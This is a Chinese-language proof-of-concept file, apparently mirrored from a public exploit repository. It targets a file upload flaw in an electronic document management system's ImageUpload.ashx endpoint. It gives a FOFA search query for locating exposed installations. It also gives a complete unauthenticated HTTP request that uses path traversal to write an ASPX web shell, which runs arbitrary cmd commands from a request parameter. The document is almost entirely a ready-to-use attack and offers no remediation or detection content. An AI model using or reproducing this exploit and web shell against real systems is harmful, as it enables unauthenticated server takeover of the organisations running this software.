mirror of
https://github.com/eeeeeeeeee-code/POC.git
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43 lines
1.8 KiB
Markdown
43 lines
1.8 KiB
Markdown
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# 电子资料管理系统ImageUpload.ashx文件上传漏洞
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电子资料管理系统 /Menu/ImageManger/ImageUpload.ashx 接口存在文件上传漏洞，未经身份验证的攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个 web 服务器。
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## fofa
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```javascript
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body="Menu/Login/ThirdLoginHandler.ashx"
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```
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## poc
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```javascript
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POST /Menu/ImageManger/ImageUpload.ashx HTTP/1.1
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Host:
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User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
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Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryssh7UfnPpGU7BXfK
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Upgrade-Insecure-Requests: 1
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Accept-Encoding: gzip
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------WebKitFormBoundaryssh7UfnPpGU7BXfK
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Content-Disposition: form-data; name="isUpload"
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印章图片
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------WebKitFormBoundaryssh7UfnPpGU7BXfK
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Content-Disposition: form-data; name="entid"
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666
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------WebKitFormBoundaryssh7UfnPpGU7BXfK
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Content-Disposition: form-data; name="Type"
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1
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------WebKitFormBoundaryssh7UfnPpGU7BXfK
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Content-Disposition: form-data; name="Filedata"; filename="../rce.aspx"
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Content-Type: text/plain
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<%@ Page Language="Jscript" validateRequest="false" %><%var c=new System.Diagnostics.ProcessStartInfo("cmd");var e=new System.Diagnostics.Process();var out:System.IO.StreamReader,EI:System.IO.StreamReader;c.UseShellExecute=false;c.RedirectStandardOutput=true;c.RedirectStandardError=true;e.StartInfo=c;c.Arguments="/c " + Request.Item["cmd"];e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();Response.Write(out.ReadToEnd() + EI.ReadToEnd());System.IO.File.Delete(Request.PhysicalPath);Response.End();%>
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------WebKitFormBoundaryssh7UfnPpGU7BXfK--
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```
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文件路径：`http://127.0.0.1/rce.aspx`
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